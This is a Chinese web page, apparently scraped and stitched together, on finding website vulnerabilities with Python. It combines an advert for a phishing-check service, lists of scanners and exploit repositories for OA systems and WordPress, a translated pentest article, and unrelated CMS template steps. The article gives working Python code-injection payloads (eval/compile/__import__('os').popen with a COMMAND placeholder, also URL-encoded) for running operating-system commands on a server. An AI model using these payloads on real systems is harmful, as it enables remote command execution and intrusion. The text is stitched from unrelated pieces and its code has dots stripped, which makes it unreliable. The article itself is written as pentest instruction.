如何使用python查找网站漏洞

如何使用python查找网站漏洞,第1张

楼主是遇到钓鱼网站了么

现在很多隐藏网站的,各种不安全。

建议不要自己去试验。完全可以要专业的人员帮我们查看,

楼主你可以到腾讯电脑管家那查下,他有全国最大最全的钓鱼网站数据库,可以有效防止被骗。

腾讯电脑管家依托于腾讯庞大的用户群和腾讯产品做了深度整合,在即时通讯工具、邮件、浏览器等多种途径来保护用户的上网安全。和百度等也是合作i关系,可以有效的拦截可疑网站

打开腾讯电脑管家官网——在线服务——网站安全检测(如果显示未知,你可以选{申请举报},工作人员会在几个工作日内,分析处理你所举报的网站,并尽快给你答复的。

多举报一个网站,互联网就多一分安全)

简介针对web层面的漏洞扫描,以及一些工具的联动使用提高效率,因为不同的对象需要使用不同类型的扫描,例如awvs针对国内的cms框架可能扫描的效率不是那么高,比较awvs是国外维护更新,所以在这种情况下并不是一款漏扫可以解决全部问题,这也是新手小白在测试的说说容易出现的问题。

使用:

Burpsuite监听app流量:

Burpsuite转发流量:

xray检测流量数据包:

项目地址:

awvs: https://wwwddosiorg/awvs14-6-log4j-rce/

使用:

awvs设置扫描对象后转发流量到127001:1111:

联动扫描:

思维同上,效果差不多,只是把流量进行了几层的转发

afrog 是一款性能卓越、快速稳定、PoC 可定制的漏洞扫描(挖洞)工具,PoC 涉及 CVE、CNVD、默认口令、信息泄露、指纹识别、未授权访问、任意文件读取、命令执行等多种漏洞类型,帮助网络安全从业者快速验证并及时修复漏洞。

扫描后输出html报告,可以很直观的看到存在的漏洞,再去加以检测利用:

该漏扫处于一个未更新的状态,项目给出,可以自己实验不做演示了

项目地址:

vulmap: https://githubcom/zhzyker/vulmap/releases

pocassist: https://githubcom/jweny/pocassist/releases

插件联动:多的就不作演示了,goby在资产梳理中可以起到不错的作用,很推荐

在一般的检测中,漏扫是针对整个目标进行检测,但是往往使用单兵利器的时候,在渗透的时候可以起到很不的效果,下面列举一些常见的单兵利器:

图形化渗透武器库:GUI_TOOLS_V61_by安全圈小王子–bugfixed

致远OA综合利用工具 https://githubcom/Summer177/seeyon_exp

通达OA综合利用工具 https://githubcom/xinyu2428/TDOA_RCE TDOA_RCE

蓝凌OA漏洞利用工具/前台无条件RCE/文件写入 https://githubcom/yuanhaiGreg/LandrayExploit

泛微OA漏洞综合利用脚本 https://githubcom/z1un/weaver_exp weaver_exp

锐捷网络EG易网关RCE批量安全检测 https://githubcom/Tas9er/EgGateWayGetShell EgGateWayGetShell

CMSmap 针对流行CMS进行安全扫描的工具 https://githubcom/Dionach/CMSmap CMSmap

使用Go开发的WordPress漏洞扫描工具 https://githubcom/blackbinn/wprecon wprecon

一个 Ruby 框架,旨在帮助对 WordPress 系统进行渗透测试 https://githubcom/rastating/wordpress-exploit-framework

WPScan WordPress 安全扫描器 https://githubcom/wpscanteam/wpscan wpscan

WPForce Wordpress 攻击套件 https://githubcom/n00py/WPForce WPForce

本文由 mdnice 多平台发布

  如果你的Web应用中存在Python代码注入漏洞的话,攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了。这也就意味着,如果你可以在目标服务器中执行Python代码的话,你就可以通过调用服务器的操作系统的指令来实施攻击了。通过运行操作系统命令,你不仅可以对那些可以访问到的文件进行读写操作,甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Empire)。

  为了复现这个漏洞,我在最近的一次外部渗透测试过程中曾尝试去利用过这个漏洞。当时我想在网上查找一些关于这个漏洞具体应用方法的信息,但是并没有找到太多有价值的内容。在同事Charlie Worrell(@decidedlygray)的帮助下,我们成功地通过Burp POC实现了一个非交互式的shell,这也是我们这篇文章所要描述的内容。

  因为除了Python之外,还有很多其他的语言(例如Perl和Ruby)也有可能出现代码注入问题,因此Python代码注入属于服务器端代码注入的一种。实际上,如果各位同学和我一样是一名CWE的关注者,那么下面这两个CWE也许可以给你提供一些有价值的参考内容:

  1 CWE-94:代码生成控制不当(‘代码注入’)2 CWE-95:动态代码评估指令处理不当(‘Eval注入’)漏洞利用

  假设你现在使用Burp或者其他工具发现了一个Python注入漏洞,而此时的漏洞利用Payload又如下所示:

  eval(compile('for x in range(1):\n import time\n timesleep(20)','a','single'))那么你就可以使用下面这个Payload来在目标主机中实现操作系统指令注入了:

  eval(compile("""for x in range(1):\\n import os\\n ospopen(r'COMMAND')read()""",'','single'))实际上,你甚至都不需要使用for循环,直接使用全局函数“__import__”就可以了。具体代码如下所示:

  eval(compile("""__import__('os')popen(r'COMMAND')read()""",'','single'))其实我们的Payload代码还可以更加简洁,既然我们已经将import和popen写在了一个表达式里面了,那么在大多数情况下,你甚至都不需要使用compile了。具体代码如下所示:

  __import__('os')popen('COMMAND')read()

  为了将这个Payload发送给目标Web应用,你需要对其中的某些字符进行URL编码。为了节省大家的时间,我们在这里已经将上面所列出的Payload代码编码完成了,具体如下所示:

  param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20timesleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20ospopen%28r%27COMMAND%27%29read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29popen%28r%27COMMAND%27%29read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29popen%28%27COMMAND%27%29read%28%29接下来,我们将会给大家介绍关于这个漏洞的细节内容,并跟大家分享一个包含这个漏洞的Web应用。在文章的结尾,我将会给大家演示一款工具,这款工具是我和我的同事Charlie共同编写的,它可以明显降低你在利用这个漏洞时所花的时间。简而言之,这款工具就像sqlmap一样,可以让你快速找到SQL注入漏洞,不过这款工具仍在起步阶段,感兴趣的同学可以在项目的GitHub主页[传送门]中与我交流一下。

  搭建一个包含漏洞的服务器

  为了更好地给各位同学进行演示,我专门创建了一个包含漏洞的Web应用。如果你想要自己动手尝试利用这个漏洞的话,你可以点击这里获取这份Web应用。接下来,我们要配置的就是Web应用的运行环境,即通过pip或者easy_install来安装webpy。它可以作为一台独立的服务器运行,或者你也可以将它加载至包含mod_wsgi模块的Apache服务器中。相关操作指令如下所示:

  git clone https://githubcom/sethsec/PyCodeInjectiongitcd VulnApp

  /install_requirementssh

  python PyCodeInjectionApppy

  漏洞分析

  当你在网上搜索关于python的eval()函数时,几乎没有文章会提醒你这个函数是非常不安全的,而eval()函数就是导致这个Python代码注入漏洞的罪魁祸首。如果你遇到了下面这两种情况,说明你的Web应用中存在这个漏洞:

  1 Web应用接受用户输入(例如GET/POST参数,cookie值);2 Web应用使用了一种不安全的方法来将用户的输入数据传递给eval()函数(没有经过安全审查,或者缺少安全保护机制);下图所示的是一份包含漏洞的示例代码:

  \

  大家可以看到,eval()函数是上述代码中唯一一个存在问题的地方。除此之外,如果开发人员直接对用户的输入数据(序列化数据)进行拆封的话,那么Web应用中也将会出现这个漏洞。

  不过需要注意的是,除了eval()函数之外,Python的exec()函数也有可能让你的Web应用中出现这个漏洞。而且据我所示,现在很多开发人员都会在Web应用中不规范地使用exec()函数,所以这个问题肯定会存在。

  自动扫描漏洞

  为了告诉大家如何利用漏洞来实施攻击,我通常会使用扫描器来发现一些我此前没有见过的东西。找到之后,我再想办法将毫无新意的PoC开发成一个有意义的exploit。不过我想提醒大家的是,不要过度依赖扫描工具,因为还很多东西是扫描工具也找不到的。

  这个漏洞也不例外,如果你在某个Web应用中发现了这个漏洞,那么你肯定使用了某款自动化的扫描工具,比如说Burp Suite Pro。目前为止,如果不使用类似Burp Suite Pro这样的专业扫描工具,你几乎是无法发现这个漏洞的。

  当你搭建好测试环境之后,启动并运行包含漏洞的示例应用。接下来,使用Burp Suite Pro来对其进行扫描。扫描结果如下图所示:

  \

  下图显示的是Burp在扫描这个漏洞时所使用的Payload:

  \

  我们可以看到,Burp之所以要将这个Web应用标记为“Vulnerable”(包含漏洞的),是因为当它将这个Payload发送给目标Web应用之后,服务器的Python解析器休眠了20秒,响应信息在20秒之后才成功返回。但我要提醒大家的是,这种基于时间的漏洞检查机制通常会存在一定的误报。

  将PoC升级成漏洞利用代码

  使用timesleep()来验证漏洞的存在的确是一种很好的方法。接下来,为了执行操作系统指令并接收相应的输出数据,我们可以使用ospopen()、subprocessPopen()、或者subprocesscheck_output()这几个函数。当然了,应该还有很多其他的函数同样可以实现我们的目标。

  因为eval()函数只能对表达式进行处理,因此Burp Suite Pro的Payload在这里使用了compile()函数,这是一种非常聪明的做法。当然了,我们也可以使用其他的方法来实现,例如使用全局函数“__import__”。关于这部分内容请查阅

参考资料:

[参考资料1][参考资料2]

  下面这个Payload应该可以适用于绝大多数的场景:

  

  1

  2

  3

  4

  5

  6

  7

  8

  9

  10

  11

  12

  13

  14

  15

  16

  17

  18

  19

  20

  21

  22

  23

  24

  25

  26

  27

  28

  29

  # Example with one expression

  __import__('os')popen('COMMAND')read()

  # Example with multiple expressions, separated by commasstr("-"50),__import__('os')popen('COMMAND')read()如果你需要执行一个或多个语句,那么你就需要使用eval()或者compile()函数了。实现代码如下所示:

  # Examples with one expression

  eval(compile("""__import__('os')popen(r'COMMAND')read()""",'','single'))eval(compile("""__import__('subprocess')check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os')popen(r'COMMAND')read();import time;timesleep(2)""",'','single'))eval(compile("""__import__('subprocess')check_output(r'COMMAND',shell=True);import time;timesleep(2)""",'','single'))在我的测试过程中,有时全局函数“__import__”会不起作用。在这种情况下,我们就要使用for循环了。相关代码如下所示:

  eval(compile("""for x in range(1):\n import os\n ospopen(r'COMMAND')read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocessPopen(r'COMMAND',shell=True, stdout=subprocessPIPE)stdoutread()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocesscheck_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的参数是一个GET参数,那么你就可以直接在浏览器中利用这个漏洞了:

  \

  请注意:虽然浏览器会帮你完成绝大部分的URL编码工作,但是你仍然需要对分号(%3b)和空格(%20)进行手动编码。除此之外,你也可以直接使用我们所开发的工具。

  如果是POST参数的话,我建议各位直接使用类似Burp Repeater这样的工具。如下图所示,我在subprocesscheck_output()函数中一次性调用了多个系统命令,即pwd、ls、-al、whoami和ping。

  \

  \

  漏洞利用工具-PyCodeInjectionShell

  你可以直接访问PyCodeInjectionShell的GitHub主页获取工具源码,我们也提供了相应的工具使用指南。在你使用这款工具的过程中会感觉到,它跟sqlmap一样使用起来非常的简单。除此之外,它的使用方法跟sqlmap基本相同。

Nessus:Nessus是目前全世界最多人使用的系统漏洞扫描与分析软件。总共有超过75,000个机构使用Nessus作为扫描该机构电脑系统的软件。

nmap:nmap也是不少黑客爱用的工具,黑客会利用nmap来搜集目标电脑的网络设定,从而计划攻击的方法。

Veracode:Veracode提供一个基于云的应用程序安全测试平台。无需购买硬件,无需安装软件,使用客户马上就可以开始测试和补救应用程序,另外Veracode提供自动化的静态和动态应用程序安全测试软件和补救服务。

CAIN:在口令破解上很有一套技术;

appscan:appscan是IBM公司开发的用于扫描web应用的基础架构,也是安全渗透行业扛把子的产品;

Nikto:Nikto是一款开源的(GPL)网页服务器扫描器,它可以对网页服务器进行全面的多种扫描;

parosproxy:parosproxy,这是一个对Web应用程序的漏洞进行评估的代理程序;

WebScarab:WebScarab记录它检测到的会话内容,使用者可以通过多种形式来查看记录;

Webinspect:惠普公司的安全渗透产品,运行起来占用大量内存,小家碧玉的就慎用了;

Whisker:Whisker是一款基于libwhisker的扫描器,但是现在大家都趋向于使用Nikto,它也是基于libwhisker的。

BurpSuite:是一款信息安全从业人员必备的集成型的渗透测试工具,它采用自动测试和半自动测试的方式;

Wikto:Wikto是一款基于C#编写的Web漏洞扫描工具;

AcunetixWebVulnerabilityScanner:(简称AWVS)是一款知名的网络漏洞扫描工具,它通过网络爬虫测试你的网站安全,检测流行安全漏洞;

N-Stealth:N-Stealth是一款商业级的Web服务器安全扫描程序。

很简单啦!按着我的步骤来

1~解压你的模板

2~将模板文件复制到你网站的模板文件夹里,该替换的就替换,

3~更新!

这是替换型的模板,针对模板文件不全的,

第二种方法是针对全站模板的〔也就是有全站样式CSS,主页模板,头部模板,尾部模板,频道~列表页模板,文章页模板,〈搜索模板,登录模板〉等〕如果模板文件夹里有这些文件就可以采用这种方法,简称并列共存更改法,具体方法如下

1,解压模板,确认是全站模板

2,更改模板文件夹的名字,改成简短,容易理解的名,不可用中文,建议用字母,〈默认应该是模板提供网站的域名〉

3,将模板文件复制到模板文件夹里'也就是存放原模板的文件夹,改过名就不会提示替换了

4,进入后台,点系统~基本参数~更改默认模板文件名为你刚刚改的那个文件夹名〈在是否复选下面〉然后点确定

5,点生成~更新主页~选择主页模板,这里选你模板文件夹里的index模板〈主页模板〉然后生成主页

6,点更新全站就ok

很简单吧

DABAN RP主题是一个优秀的主题,极致后台体验,无插件,集成会员系统
网站模板库 » 如何使用python查找网站漏洞

0条评论

发表评论

提供最优质的资源集合

立即查看 了解详情